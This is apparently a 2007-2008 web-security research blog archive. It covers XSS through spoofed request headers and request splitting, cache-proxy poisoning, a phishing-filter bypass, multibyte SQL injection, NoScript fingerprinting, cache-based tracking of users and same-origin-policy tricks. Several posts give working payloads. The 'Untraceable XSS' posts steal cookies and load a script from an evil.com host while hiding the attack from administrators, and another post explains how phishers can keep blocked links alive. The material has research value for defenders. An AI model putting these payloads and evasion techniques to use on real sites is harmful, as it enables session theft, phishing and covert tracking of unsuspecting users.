Saturday, January 19, 2008

24c3 Presentation and Research

I did a presentation entitled Unusual Web Bugs at 24c3 a few weeks ago, for which you can find slides and video for on the first link.

However, since some of the things I presented were some of my own research which I haven't posted anywhere, I'll write a couple of posts about that in the next couple of days. There isn't too much though, so there's no need to get your hopes up, and if you've seen the video, you already know it.

[EDIT]P.S. Any comments or criticisms about the presentation would be greatly appreciated[/EDIT]

Friday, October 12, 2007

Detecting Firefox Extensions Without Javascript

ascii recently posted a piece on detecting whether Javascript execution is disabled due to it being disabled through Firefox or through NoScript, by abusing NoScript's redirection code here: http://www.ush.it/2007/10/11/detect-noscript-poc/

Which got me thinking about how else we could determine this - and though I haven't come up with that, I've come up with a method to detect Firefox extensions without Javascript. It may not work on all extensions, but it works with NoScript, and should work with any extension which has a CSS file in chrome with a single valid definition.

If we take a look at how Firefox resolves conflicts between duplicate definitions for the same class (and probably for the same id) then we notice that Firefox simply uses the latter definition.

Knowing this we can construct a page which looks like this:

<html>
<head>
<style>
  .noscript-error {
    background-image: url(no.php)
  }
</style>
<style>
  @import url(chrome://noscript/skin/browser.css);
</style>
</head>
<body>
  <div class="noscript-error">If noscript is NOT installed (and enabled as an extension) then Firefox will make a request for no.php, otherwise it won't.</div>
</body>
</html>


Whereby we simply have to have no.php set something in the session to say that the user does not have NoScript installed.

Note: Thanks to thornmaker for pointing out that no.php will also be requested by other browsers, so you probably want to do this only after you have determined the browser being used.

Also, ascii/sirdarckcat came up with another method for detecting when NoScript is installed, which does positive detection (i.e. youget a response when it is installed, rather than this negative detection), but I'll let them write about that.

Thursday, July 19, 2007

Firefox gets httpOnly!

I don't usually report on things here, but since no-one else seems to be saying something, I thought I should.

Anyway, Firefox has finally implemented httpOnly cookies, in 2.0.0.5, as you can see from their patch notes, and the following test case: http://kuza55.awardspace.com/httponly.php

Note: If httpOnly cookies is implemented, the alert box should be blank, if it is not implemented you should see an alert which says hidden=value

<?php

header("Set-Cookie: hidden=value; httpOnly");

?>
<html>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>


So hurrah for the Firefox developers who made this happen, no matter how long it took.

Wednesday, July 11, 2007

Exploiting reflected XSS vulnerabilities, where user input must come through HTTP Request Headers

Contents:


1.0 Introduction
2.0 The User_Agent Header
3.0 (Known) Firefox & Safari Request Header Injection (Sometimes)
4.0 Attacking Caching Proxies
5.0 References

1.0 Introduction


Ever since Adobe patched Flash player to stop attackers spoofing certain headers[1] such as Referer, User-Agent, etc, it has been considered impossible to exploit XSS vulnerabilities where the user input is taken from a request header, e.g. when a website prints out what User-Agent a user's browser is sending, without escaping it. With the exception of the Referer header which we can control enough to exploit XSS attacks through it.

I want to showcase several ways in which we can still exploit these vulnerabilities.

2.0 The User_Agent header


If you look at how the User-Agent header is accessed in certain languages (namely PHP/Perl/Ruby/ColdFusion), you will see that the User-Agent header is not referenced as it is sent over the wire:

PHP:
$_SERVER['HTTP_USER_AGENT']

Perl:
$ENV{'HTTP_USER_AGENT'}

Ruby:
@request.user_agent

ColdFusion:
CGI.HTTP_USER_AGENT

As you can see, all of these languages use an underscore(_) instead of a hyphen(-) when accessing the data, so if we use Flash to send a User_Agent header, like this:

class Attack {
  static function main(mc) {
    var req:LoadVars = new LoadVars();

    req.addRequestHeader("User_Agent", "<script>alert(1)</script>");
    req.send("http://localhost/XSS/server.php", "_self");
  }
}


(Can be easily compiled with mtasc)

So if any of those languages mentioned above insecurely print the User-Agent header, or any header with a hyphen in it, then no matter whether it is blocked or not, it can still be injected.

The three other languages which I checked where ASP, ASP.NET and Java, and this is how the variables are accessed:

ASP/ASP.NET:
Request.ServerVariables("HTTP_USER_AGENT")

Java:
request.getHeader("user-agent");

And while ASP/ASP.NET would seem to be vulnerable, it is a known fact to the MS developers[2] that headers with underscores cannot be accessed through the HTTP_ server variables, and so they have added more methods[2], which are not vulnerable.

Java does things neatly, and so it is not vulnerable.

Note: I made a mistake originally, and it seems that Perl apps are only vulnerable when testing through browsers other than IE.

Perl seems to use the last User_Agent or User-Agent header which you send it, and since the Flash plugin in IE appends our User_Agent header before IE's User-Agent header, Perl apps cannot be exploited when the user is Using IE.

3.0 (Known) Firefox & Safari Request Header Injection (Sometimes)


Stefano Di Paola published a paper[3], where he pointed out that IE7 and Firefox both facilitated request splitting when Digest authentication was used, Comcor also pointed out that Safari was vulnerable to the same issue.

IE7 was only vulnerable through the XMLHttpRequest object, which can only be invoked from the website which has Digest authentication, so it is useless to us in this case.

Furthermore request splitting is only useful when a user is behind a proxy (See Note at end of section), so if a user is not behind a proxy, then there is a point to spoofing headers rather than conducting a request splitting attack.

Anyway, what was not mentioned in the paper was that not only can the attack be invoked through an img tag, but it can also be invoked from an iframe tag, so here is a rather contrived PoC (based on Stefano's code):

digest.php:

<?php
  header('Set-Cookie: PHPSESSID=6555');

  if((int)intval($_COOKIE['PHPSESSID']) !== 6555){
    header('HTTP/1.0 401 Authorization Required');
    header('WWW-Authenticate: Digest realm="1@example.com", qop="auth,auth-int", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", opaque="5ccc069c403ebaf9f0171e9517f40e41"');
  } else {
    header("Set-Cookie: PHPSESSID=0");
  }

  print $_SERVER['HTTP_USER_AGENT'];
?>


attack.php:

<html>
<body>
  <iframe src="http://user%0aUser-Agent%3a%20%3Cscript%3Ealert%281%29%3C%2Fscript%3E%0aTest%3a%20:pp@localhost/XSS/digest.php"></iframe>
</body>
</html>


Note: Its not completely true that we can't do any request splitting without a proxy; we can still split requests and have a server with multiple vhosts interpret the second split response as a normal request for a vhost other than that which has the digest authentication. Thanks to Amit Klein for pointing this out.

4.0 Attacking Cache Proxies.


Warning: This attack is rather convoluted, and a bit impractical. *shrug*

With the advent of Anti-DNS Pinning being disclosed by Martin Johns[4] and improved on by Kanatoko Anvil[5][6][7], Kanatoko also found that Flash didn't Pin DNS[8], and who together found that Java's DNS record could be spoofed if used via LiveConnect[9].

This gives us an exceptionally powerful tool - an ability to create socket connections from a victim's computer.

So by utilising the low level socket abilities of Flash or Java we can create a socket connection to the user's caching proxy server if they have one. From there we can inject requests where we provide an XSS payload in the appropriate HTTP request header, which the proxy will sometimes cache, so when we redirect the user to that page they will be served the XSSed version.

This works because cache servers are often setup to cache html pages, and they are very sometimes setup so the only thing which is matches is the URL, rather than any headers or cookies.

Here is a step-by-step explanation:

1. First of all we need to know the IP address and port the users to access their proxy - sadly this part is rather browser specific.

On IE we can use Java[10][11] to detect the proxy settings in IE (I know nothing about Java, other than the fact that its possible, and there are known methods), or by using Javascript[11] in Firefox, by reading the Firefox settings network.proxy.http and network.proxy.http_port.

2. The next step is to open a socket to the proxy server, Anti-DNS Pinning attacks are already well documented in [4][5][6][7][8][9].

3. Send a request to the caching proxy with an XSS payload in the appropriate HTTP headers on the socket you have established.

4. Send the user to the cached page. This can be improved by using Flash to send a "Cache-Control: only-if-cached" header so that the proxy is more likely to serve the XSS-ed page.

Note: I don't have any code to test this, but from when I setup squid to cache html pages, creating a socket to the page and injecting into headers, then viewing the same page in the browser worked, and so I see no reason why this shouldn't. And I have personally seen live proxy servers setup to cache html pages, and where these attacks are possible, so while I'm not sure how common such setups are, they definitely exist.

5.0 References



[1] "Forging HTTP request headers with Flash", Amit Klein, July 2006
http://www.securityfocus.com/archive/1/441014

[2] "HOWTO: Retrieve Request Headers using ISAPI, ASP, and ASP.Net", David Wang, April 2006
http://blogs.msdn.com/david.wang/archive/2006/04/20/HOWTO-Retrieve-Request-Headers-using-ISAPI-ASP-and-ASP-Net.aspx

[3] "IE 7 and Firefox Browsers Digest Authentication Request Splitting", Stafano Di Paolo, April 2007
http://www.wisec.it/vulns.php?id=11

[4] "(somewhat) breaking the same-origin policy by undermining dns-pinning", Martin Johns, August 2006
http://shampoo.antville.org/stories/1451301/

[5] "Stealing Information Using Anti-DNS Pinning : Online Demonstration", Kanatoko Anvil, December 2006
http://www.jumperz.net/index.php?i=2&a=1&b=7

[6] "Re: DNS Spoofing/Pinning", Kanatoko Anvil, December 2006
http://sla.ckers.org/forum/read.php?6,4511,4539#msg-4539

[7] "Anti-DNS Pinning + Socket in FLASH", Kanatoko Anvil, February 2007
http://www.jumperz.net/index.php?i=2&a=3&b=3

[8] "Re: DNS Spoofing/Pinning", Kanatoko Anvil, February 2007
http://sla.ckers.org/forum/read.php?6,4511#msg-6253

[9] "Using Java in anti DNS-pinning attacks (Firefox and Opera)", Martin Johns & Kanatoko Anvil, February 2007
http://shampoo.antville.org/stories/1566124/

[10] "How to detect Proxy Settings for Internet Connection"
http://www.java-tips.org/java.net/how-to-detect-proxy-settings-for-internet-connection.html

[11] "RE: Auto-detecting proxy settings in a standalone Java app"
http://www.mail-archive.com/commons-httpclient-dev@jakarta.apache.org/msg07568.html

[12] "Read Firefox Settings (PoC)", Sergey Vzloman, May 2007
http://ha.ckers.org/blog/20070516/read-firefox-settings-poc/

Saturday, June 30, 2007

Universal Phishing Filter Bypass

Well, I tried to do responsible disclosure, so I could at least claim I care about how secure users are (and get my name in some patch notes, :p), but according to Microsoft "The Internet Explorer phishing filter is not a security feature, so this is not something MSRC would track.", Mozilla haven't replied (email sent early Wednesday), and Opera haven't replied either (bug report added early Thursday), though I didn't give opera much time, I really don't think its a big issue because its not even on by default in Opera.

To better understand how the following idea can actually be utilised, and why it matters, you need to understand the point of the phishing filter. When a phishing site is first created and sent to users, the phishing filter does not know about it - the phishing filter is updated based on a blacklist of URLs which are manually entered.

The reason,the filter works is because while a phisher could encode the address to stop it being detected, or move the server, etc, etc, but all the emails they sent still have the same static blocked link. And this is the whole reason the filter works - all the emails have the same link which is blocked. This doesn't have to be the case, but I'll write something about that some other day.

To avoid this, one can do the following:

Send out phishing emails as one normally would, but instead of pointing to the actual phishing page, point to some central server, which can send your arbitrary response headers, or is under your complete control.

The page the user is sent to, actually redirects the user to an actual phishing page, either on the same server or another.

There is a loophole in the phishing filters where if a page is blocked, but instead of being loaded, it redirects the user, then the phishing warning is not displayed (the phishing warning seems to do checks after the page has been loaded, or at least the html code has).

What this means is that, the moment a phishing URL is added to the list, the phisher can easily just make it redirect elsewhere (or just encode it, and redirect to the encoded URL to bypass the filter), and viola, the link in the phishing email is now working again.

And considering all the filters do direct URL comparisons, and the redirects do not have to be static (i.e. you could use mod_rewrite to make random URLs show the same phishing page), the way current phishing filters are set up you could avoid the indefinitely.

If you want to confirm this, here are the steps I sent to MS/Mozilla/Opera on how to verify it:

1. Find a blocked URL.
- I got http://ospr.110mb.com/yahoo/ from phishtank

2. Point the hosts file entry for the domain to an IP.
- I pointed ospr.110mb.com to 127.0.0.1

3. Create a directory/page on your server in the same place as the phishing page.
- I created /yahoo/index.php on my localhost

4. Confirm that your page is being blocked.
- I directed my browser to http://ospr.110mb.com/yahoo/ as usual, and it was blocked in all browsers

5. Clear the browser cache/restart the browser.
- IE and Firefox need a restart, Opera needs you to manually clear the cache

6. Edit the file to redirect to another file on the site which is not blocked.
- I created /yahoo/login.php and then used a Location redirect in index.php to redirect myself there:

header ("Location: http://ospr.110mb.com/yahoo/login.php");
?>

7. Visit the original phishing page again.
- I directed my browser to http://ospr.110mb.com/yahoo/ as usual, and in both browsers, no message was shown to the user, and I was successfully redirected, even though the original page was a known phishing URL in both systems.

Note: The need to clear the cache/restart the browser would not impact an attack, because the redirecting page would never be filtered and cached in the first place, it is merely a symptom of checking that the URL is properly blocked. So if you can trust me that the URL is blocked, you can simply ignore step 4.

Wednesday, June 27, 2007

[My]SQL Injection Encoding Attacks

Early last year Chris Shiflett and Ilia Alshanetsky published some posts about how it is possible to conduct SQL Injection attacks against sites which escape user input, but either use an encoding unaware escaping function (e.g. addslashes()), or do not inform their escaping function about the issue.

I'm not going to re-hash their posts, so you should go read them now, if you haven't done so before.

But who actually does either of those things? Well, Google Code search reports approximately 54,300 results for applications using addslashes() and approximately 100 applications which have the words "SET CHARACTER SET" in their code.

Not particularly many of the latter, but the very first result is the rather popular phpMyAdmin project, so its not a completely unused query.

Anyway, since I hadn't seen any research on which character sets were vulnerable (and which characters to use), I wrote a small fuzzer to test all the character sets which MySQL supports (other than UCS-2), for several different encoding attacks, though only the ones described by Chris and Ilia yielded any results. Here are the character sets vulnerable, and the first character of the multi-byte sequence where \ is the second character:
  • big5, [A1-F9]

  • sjis, [81-9F], [E0-FC]

  • gbk, [81-FE]

  • cp932, [81-9F], [E0-FC]


I didn't successfully test ucs2 because ucs2 is a fixed width 2 byte character encoding, which will not execute queries passed in standard ascii, and so it would be impossible to get a webapp working if you set your connections to ucs2 but didn't convert all your queries, etc, so a configuration issue like that would be instantly noticed, and if you were using an encoding unaware function, then it would definitely be vulnerable, since all byte sequences are two bytes.

Anyway, if anyone is interested, I uploaded the fuzzer here: http://mihd.net/pwe0f9. As you will notice, I ripped the code which Ilia used to illustrate the vulnerability for GBK, so the two pieces look very similar. Its also not very well written, but it worked and got the results for me.

Notes: Part 2 of the fuzzer is trying to see if its possible to have a double or single quote as the second character in a multi-byte sequence, and Part 3 is trying to see if its possible to use a quote as the first character.

Also, this is obviously MySQL specific, the reason for this is because (as far as I could find out) MySQL is the only RDBMS which allows you to set the connection encoding through a query, all the other require configuration changes, and while addslashes() issues are applicable to all RDBMS's, most applications these days use mysql_real_escape_string().

Saturday, June 02, 2007

Building Secure Single Sign On Systems and Google

After seeing several posts which spelled doom and gloom if there was ever found an XSS hole in any of Google's because they used a Single Sign On (SSO) System I started trying to think of a method in which secure sign on could be securely implemented, where all the SSO server side code is trusted, e.g. when you own all the websites, and here's what I came up with.

Idea 1: Remote Javascript



The first thing that came into my head was using Remote Javascript files, to give any SSO site (site specific of course), which the server side back-end could then use to query a database, to check that the specific token was valid for their site, and if it was, they would be issued another site specific login token, which would be placed in a user's cookie, and session management would resume as usual.

The problem with this is, of course, making sure that no other sites can retrieve this login token by including the same remote javascript in their page.

Of course, there are several things you could do to prevent this:

You could do referer checks. While we have seen methods to spoof or strip referers, there have been no methods to my knowledge to date which can do this when you're requesting script elements. You could technically spoof the header normally, and try to poison the cache, but as long as the appropriate cache headers are sent, then this should not be possible.

But this leaves any users who have referer stripping firewalls in danger, and this is unacceptable.

You could use CSRF style protections. But this faces the problem of what you can actually tie the token to. You could tie the token to the IP, but as long as Anti-DNS Pinning works, this can be attacked and broken, so this is not a valid solution. And Furthermore doing such checks would be rather expensive in terms of operations needing to be performed, since this is being done between separate servers/sites.

Which essentially means that while we can make this system secure for most people, there are some we would not secure, and it is therefore not viable.

Idea 2: Remote iframes


I kept thinking about other ways you could send data to a specific site only and (from my attempts to break SessionSafe) I remembered that we could use iframes.

If an iframe sets the window.top.location.href property, the page which loaded the iframe cannot read that value, and even if they could it would be considered a browser bug and fixed. So to transfer data to our domain and our domain only we would do the following:

Write an iframe to the page which looked like this:
<iframe width="300" height="150" src="http://ssodomain.com/login.php?site=Service"></iframe>

And on http://ssodomain.com/login.php the following would be done:

If the user is not logged in display a login form.

If the user is logged in then write the following javasript tot he page:

window.top.location = 'http://companyownedwebsite.com/verify.php?auth=123456';

Where companyownedwebsite.com was determined by a switch statement on the site variable, so that only a valid site could be redirected to, and so the SSO service knew which particular value to parse in auth variable.

The other mechanisms are the same as in Idea 1. Furthermore this protects you from Programmatic password theft, since the password is entered on a domain which has nothing other than a login form.

Google's Approach


After thinking of Idea 2, I realised that this is what google does; on most of their services anyway. The one service (at which I initially looked to find out how Google implemented SSO, *doh*) which doesn't use the exact same method as above is Gmail. What it turns out Gmail does (which I somehow missed) is, instead of using an iframes, they redirect gmail.com to the equivalent of http://ssodomain.com/login.php?site=Gmail where the whole login page is displayed, and the form is submitted to that same domain.

So what does this mean?



I came to the same idea independently of Google (which to me says that there must be some merit to it, sine I didn't just see the idea and say; hey, this looks good), and it should in theory and practice be perfectly sound as long as a website cannot tell determine the URL to which the iframe/a page loaded in an iframe is being redirected to, and there are no XSS holes in the SSO domain.

So Google's SSO should be secure in the face of an XSS hole?



Well, no; Google messed up; they made their SSO domain www.google.com; the same domain as their main site, which means it used used for more central purposes (central in terms of design, rather than importance). This is bad, because there should be nothing on the SSO domain other than SSO forms, because otherwise one may find XSS holes in the SSO domain, and that breaks the whole system (bar things like IP locks tying the sessions together, but with Anti-DNS Pinning, this can again be broken)

So what are you trying to say



What I'm trying to say is that all XSS holes which are not in www.google.com (and yes, the www is important) will not break SSO, but any XSS hole which is in that domain, has the potential to.

Oh, and Google isn't completely hopeless when it comes to security - they just have many more developers working for them, and many more web facing projects than most organisations.

Saturday, May 19, 2007

Tracking users with Cache Data

There are several methods that browsers and web servers use to speed up browsing, so that less data needs to be transfered over the network, two of these methods are the ETag/If-None-Match and Last-Modified/If-Modified-Since headers. The premise is fairly simple for both.

With the ETag/If-None-Match headers, the server simply sends an ETag header for a resource the first time it is requested, and then sends the page - the next time the browser needs the same resource it sends an If-None-Match header, and sends the parameter the server returned in the ETag response header, as the parameter for the If-None-Match request header.

If the server responds with a 304 Not Modified status, and does not return a message body (it MUST NOT return a message body), then the ETag is preserved in the cache, and the browser will keep sending the same If-None-Match header until the cache is deleted, as long as it keeps getting 304 replies.

The system is identical, just with different header names for the Last-Modified/If-Modified-Since headers.

Sadly though, the ETag/if-None-Match headers are only supported by Firefox, whereas the Last-Modified/If-Modified-Since headers are supported in Firefox and IE - to my knowledge (through my testing) none of these headers are supported in Opera.

As such it would be better to use the Last-Modified/If-Modified-Since headers.

All you need to do now is embed a tracking image in each page, and send a unique date each time no If-Modified-Since header is sent, and a blank 304 response at all other times.

The biggest problem here though is that you do need a separate http request, and as such the only way to associate requests is per IP and time frame, e.g. any request made <=10 seconds before the request for a particular date/etag from, the same IP, is the same user. You could also try using the Referer header, but the odds of someone denying cookies, but sending Referers is very low, IMO.

You could also use Javascript instead of images, and then you would be able to link requests more easily, but it would require you make an additional request from that page with the URL in the query string and tracking id, or similar.

You would still need to use one of these techniques though, because you need to serve different pieces of javascript to different people, and have that piece of javascript cached as long as possible.

But even given this, this allows you a method to track users who deny cookies between browsing sessions - for tighter correlation during browsing sessions you could use Jeremiah Grossman's Basic Auth Tracking

P.S. This is stored with the other cache data, so this will only work as long as the image/resource is cached, and clearing the ache manually (or turning the cache off) will stop this technique.

Wednesday, May 16, 2007

Determining sites trusted by NoScript

With the (relatively) new XSS filter added to NoScript it has become possible to determine whether a site is trusted or untrusted by seeing if NoScript decides to take action - of course this is not 100% accurate, since all these features can be turned off, but if they are turned off then you can execute some attacks anyway.

Open Redirect



The easiest method to determine whether a site is trusted is to use an open redirect, because you have control over where a site is sending a user, and as such can use the following two pieces of code to check whether google.com.au is trusted:

detect.php:
<html>
<body>
<iframe src="http://www.google.com.au/local_url?q=http://www.evil.com/XSS/query.php%3FServer_Generated_ID=%3Cscript%3E%26"></iframe>
</body>
</html>


query.php:
<?php
if (strpos($_SERVER['QUERY_STRING'], "=") !== FALSE) {
print "Untrusted!";
} else {
print "Trusted!<br />\n";
print "For ID: ".$_SERVER['QUERY_STRING'];
}

?>


The server generated id is not even actually necessary since you can just store the info in a PHP session, but it is possible to 'attack' people who even have cookies disabled.

Non-Open Redirects



Now, a much more difficult task is attacking non-open redirects. Two things which limit this are:
  • We cannot use Javascript to determine where you've been.

  • We cannot actually pass a parameter to where we will be redirected.


The solution to the first problem lies here: http://ha.ckers.org/blog/20070228/steal-browser-history-without-javascript/

The solution to the second problem is a bit trickier, and relies on the 'usual' implementation of these systems, rather than a versatile technique.

Most systems which perform closed redirection have URLs which look like:
http://www.site.com/redir.php?id=123

Where the id value is first run through intval(), then put directly into an SQL statement.

Now, we can exploit this fact by sending people to a URL like this:
http://www.site.com/closedredir.php?id=123%26id=%3Cscript%3E

Whereby if the www.site.com is trusted then we will not be redirected anywhere because the URL will be filtered to look like this:
http://www.site.com/redir.php?id=%3F123%26id%3D

And since the id does not begin with a digit, the value of the variable, once put through intval() is 0, and either no redirect, or a completely different redirect will be done.

If the site is untrusted though, then the URL will be unfiltered, and when the id is run through intval, it will evaluate to 123, and so the user will be redirected to the usual place.

Controlled Off-Site Resources


If you can control any off-site resources such as images which a site embeds, then simply putting an ID in one parameter, and <script> in another, will cause the referer to be different on Trusted and Untrusted sites.

Generic Method


The methods above though all rely on a webapp having some kind of specific web feature, and while they're interesting (and that is the reason I included them), a generic method will prove far more useful.

And this generic method is extremely simple; just use the non-javascript history hack to find out what exact URLs a person has been to.

If you send a user to:
http://www.site.com/page.php?param=%3Ctest%3E

And the history hack says the user has been to
http://www.site.com/page.php?param=%20test%20

Then the site is obviously trusted.

Uses


These techniques can be used to either gather data about the user ala the Master Recon Tool (Mr. T) or the Black Dragon Project, or more importantly aid an attacker in bypassing NoScript's filters by finding which sites are trusted, and then either using those sites as a means of propagation (i.e. Emailing/PM-ing a user a link), or by sending a user to a persistent or DOM Based XSS on one of those sites.

Final notes


Since we do not have Javascript we need to be a bit tricky on how to actually use the info. The cleanest method is if you have a persistent or DOM based XSS in another site, then instead of simply sending data back to your server to be analysed you can have the CSS only History hack render an iframe which loads an iframe from your server, which redirects the user to the persistent or DOM based XSS in the trusted site.

The other method is having a iframe which refreshes every 5 seconds, which sends a request to the server, and the server will then try to aggregate all the data its collected, and act on it.

Why would you want to do this rather than sending the user to every single persistent and DOM based XSS condition you have?

Beats me; I just thought this was interesting.....

Saturday, April 28, 2007

Creating sockets to sites which run Google Analytics javascript without Anti-DNS Pinning

This is a short post, but I thought this warranted its own post, so that the message is not lost.

One of the repercussions of this post: http://kuza55.blogspot.com/2007/04/breaking-same-origin-policy-in-upwards.html is that any site which references the document.location property (e.g. any site running Google Analytics javascript) can be referenced by any subdomain.

And top level domains do not have to have any relation to their subdomain, so a DNS setup where these resolutions occur:

attack.target.evil.com -> web server controlled by evil.com
target.evil.com -> victim web server running Google Analytics (or other document.location referencing code)

Is possible. Now, since attack.target.evil.com can communicate with target.evil.com [1] as par my last post it can easily just insert a java applet (or with Firefox, javascript which uses the Java libraries) into target.evil.com, which will be able to create sockets to the web server's IP.

Another way the DNS->IP resolution scheme of subdomains not needing to be related can be abused is by making target.evil.com resolve to the IP of a service like myspace, which has a "domain generalisation" scheme, which will set the document.domain property to the second level domain, and so will resolve to evil.com, and evil.com can then create sockets to myspace.com.

And while, at the present this is a fairly pointless attack since we can still use Anti-DNS Pinning attacks, those problems may be solved before this.

[1] Note that all these attacks will only work if the hosts accept wildcard hostnames, and so the google analytics code is returned even if the hostname is incorrect.

Friday, April 27, 2007

Breaking the same origin policy in an upwards direction (IE & Firefox Only)

To explain why this is meaningful, I'll first give a quick primer on the document.domain property:

The document.domain is by default set to the hostname which is used to access a site.

The document.domain property is not read-only. It can be truncated by however many levels you like, so a site on sub2.sub1.domain.tld could set the document.domain property to sub1.domain.tld or domain.tld or just tld[1]

To determine whether javascript is able to interact with another window the property is compared, if the property is identical then the two windows can communicate.

Finaly, there is an additional check whereby if the document.domain property has not been modified then a page where the property has been modified cannot communicate with it.

Firefox and IE do have this check, but it seems a bit more relaxed. If the upper level domain reads the document.location property this check is seemingly ignored.

Now, one might be tempted to shrug this off, but many tracking scripts, and Google Analytics tracking code references the document.location property, and so any site which runs the Google Analytics code is vulnerable to having lower level domains communicate with the unwittingly.

[1] The Firefox 3 nightly build does not allow anyone to set the property to tld, as per two patches from trev/Wladimir Palant: http://sla.ckers.org/forum/read.php?13,10863

This isn't the post your looking for either

A few days ago prdelka post a blog post entitled "This isnt the post your looking for", you should read it, preferably before reading ny more of this post. He also deleted all his other blog postings, and removed all the papers and exploits, etc, which he had written from his server.

For a while security people have been saying that such legislation would be a bad idea because they, as well as anyone possibly malicious, could be prosecuted, but the law understands mitigating factors, and I doubt such a thing would happen.

What I am more interested in, is how many of the hobbyists which do a considerable part of the research into computer security will be affected. Will they, like prdelka, decide to take the cautious route, and remove all their writings, etc, from public view. Will they be driven more or less underground, where information is only shared among close friends, until it spreads to the hands of criminals, without surfacing to help IT security people. Or will they decide to ignore the laws will continue - only time will tell obviously, but does everyone think?

And if you're in Britain, how will this affect you?

Sunday, April 01, 2007

Untraceable XSS Attacks Version 2

I was thinking about the Adobe PDF UXSS issue that we encountered a few months ago, and remembered how much of a problem we had solving it because servers were not sent the URL fragments (the part after the #).

Now this got me thinking; the client can still read the portion of the URL after the # symbol.

So why not put the location of our logic after the URL fragment like so:

<html>
<head>
<meta http-equiv="refresh" content="0;http://www.target.com/page.php?vuln=<script>var source_loc = substr (document.location.lastIndexOf("#") + 1); var s = document.createElement ('script'); s.src=source_loc; document.body.appendChild(s);</script>#http://www.evil.com/s.js">
</head>
</html>



And then you just shove that in a iframe, or popup or whatever other technique you are using to make sure users don't notice they're being attacked, and you're done.

Looking at the actual exploit, you can see that what we end up doing is using a Reflected XSS hole to create a DOM Based XSS hole which is specifically untraceable.

And it seems like a much cleaner method than the last two posts to me.

Friday, March 30, 2007

(Non-Persistent) Untraceable XSS Attacks (IE & Opera version)

[EDIT]: Due to something I misunderstood ages ago this post is completely useless, so please see: http://kuza55.blogspot.com/2007/03/non-persistent-untraceable-xss-attacks.html Which has been re-written.

Sadly I have an appalling habit of assuming that the way Firefox does things is the way other browsers do things when it comes to Javascript, and I am constantly missing things because of it.

Anyway; what I only just remembered is that IE and opera treat target.com and target.com. as separate domains, and even if we can interact with target.com. this is almost completely useless to us.

But the goal here is not to allow our domain to talk to another domain. Our goal here is to not have to send our attack logic to the vulnerable web app, where it will be logged by the server.

We can use the same basic concept as in the last post, but instead of having go.php redirect to something which calls our logic from the parent, we will need it to look more like this: (Copy and paste it into notepad because it goes off the side of the page)

<html>
<head>
<meta http-equiv="refresh" content="0;http://www.target.com/page.php?vuln=<script>document.location = 'http://www.target.com./page.php?vuln=%3Cscript%3Edocument.domain%3D%27com.%27%3Bwindow.parent.logic%28%29%3B%3C/script%3E&cookie='+escape(document.cookie);</script>">
</head>
</html>


And then our attack page would have to look something more like this:
<html>
<body>
<script>
document.domain = 'com.';
function logic () {
    var loc = window.frames[0].document.location;
    var cookie = substr (loc.lastIndexOf("=") + 1);
    alert(cookie);
}
</script>
<iframe src="go.php" />
</body>
</html>


I have not tested this, but it should be possible to simply extract the cookie from the domain as demonstrated above, then set the same cookie for target.com. but you will run into issues if there are authentication cookies for a subdomain, which you cannot extract, but for most scenarios this should still be workable.

(Non-Persistent) Untraceable XSS Attacks

[EDIT]: Sorry for taking so long to do this, but I've been really busy lately. Anyway, when doing my initial testing with document.domain stuff Firefox threw some errors when I tried to set the domain to just 'com' - I'm not sure why since this is allowed, and as such this post was needlessly confusing (since I thought you could only set it to 'com.'), and so I've rewritten it (keeping most of it intact), the old copy is still at the end, but its not really worth reading since its pretty much the same thing.

When most XSS attacks are conducted they simply inject all the attack logic right into the domain they are attacking, this of course gives out information such as servers where cookies are getting logged, or any other attack logic, because it has been sent to the server, and since it is generally sent via GET, which is see in all server logs. The only exception to this is when the attack logic is hosted on another site, and a script tag is injected. The problem with this is that it still reveals where the server with the attack logic was located, and if the admin reacts relatively quickly, then the attack logic can be captured from that server.

Sometimes this is unavoidable, as in the case of persistent XSS attacks, because they rely on having the attack logic located on the site so that users will be attacked with it, without having to go to another site.

But persistent XSS attacks are not the only ones we see, and as such I would like to propose a method that has been used for conducting attacks before, but hasn't (to my knowledge) been used to mask a trail.

It turns out you can set the document.domain property to just 'com' if you have a .com domain.

Now, we can use this idea to remove all our attack logic from the site we are attacking with our reflected XSS attacks, and then extract data at will.

The easiest way to implement something like this would be to have two pages on your own .com domain. One to actually interface with the site, and one to use a meta redirect to the reflected XSS hole, and therefore strip the referer header.

And so, by doing this the site which you are abusing should have no clue as to where the attack originated from, except that it came from a .com domain.

The actual html/javascript implementation can be done in several ways, but the easiest is something similar to this:

attack.php :
<html>
<body>
<script>
document.domain = 'com';
function logic () {
    alert(window.frames[0].document.cookie);
}
</script>
<iframe src="go.php" />
</body>
</html>


go.php :
<html>
<head>
<meta http-equiv="refresh" content="0;http://www.target.com/page.php?vuln=<script>document.domain='com';window.parent.logic();</script>">
</head>
</html>


In this we have the attack page with the logic on it, which sets the document.domain property when it is loaded, when the iframe gets redirected to the vulnerable page on the target, the target receives no idea what server redirected it there, it then sets the domain to .com and calls the logic() function from the parent window, which can then extract cookie data from the attacked domain.

Of course, if you run the same attack for long enough, or have a worm, then a client-side tracker could be implemented because, just as you can extract data from the target domain, they can extract data from your domain. Even given this limitations though it is a step that is unlikely to be taken by any admin, but should still be considered.

Furthermore this should not be put on any site which hosts an actual site because if another attacker found such an attack page on a live server since you have set up a system where any .com domain can break the cross domain boundary.

Old Post:



When most XSS attacks are conducted they simply inject all the attack logic right into the domain they are attacking, this of course gives out information such as servers where cookies are getting logged, or any other attack logic, because it has been sent to the server, and since it is generally sent via GET, which is see in all server logs. The only exception to this is when the attack logic is hosted on another site, and a script tag is injected. The problem with this is that it still reveals where the server with the attack logic was located, and if the admin reacts relatively quickly, then the attack logic can be captured from that server.

Sometimes this is unavoidable, as in the case of persistent XSS attacks, because they rely on having the attack logic located on the site so that users will be attacked with it, without having to go to another site.

But persistent XSS attacks are not the only ones we see, and as such I would like to propose a method that has been used for conducting attacks before, but hasn't (to my knowledge) been used to mask a trail.

As trev found out, it is possible for a site in the .com TLD to set their document.domain value to '.com.', and this allows it to share details with any site which also sets its document.domain value to '.com.'.

Now, we can use this idea to remove all our attack logic from the site we are attacking with our reflected XSS attacks, and then extract data at will.

The easiest way to implement something like this would be to have two pages on your own .com domain. One to actually interface with the site, and one to use a meta redirect to the reflected XSS hole, and therefore strip the referer header.

And so, by doing this the site which you are abusing should have no clue as to where the attack originated from, except that it came from a .com domain.

The actual html/javascript implementation can be done in several ways, but the easiest is something similar to this:

attack.php :
<html>
<body>
<script>
document.domain = 'com.';
function logic () {
    alert(window.frames[0].document.cookie);
}
</script>
<iframe src="go.php" />
</body>
</html>


go.php :
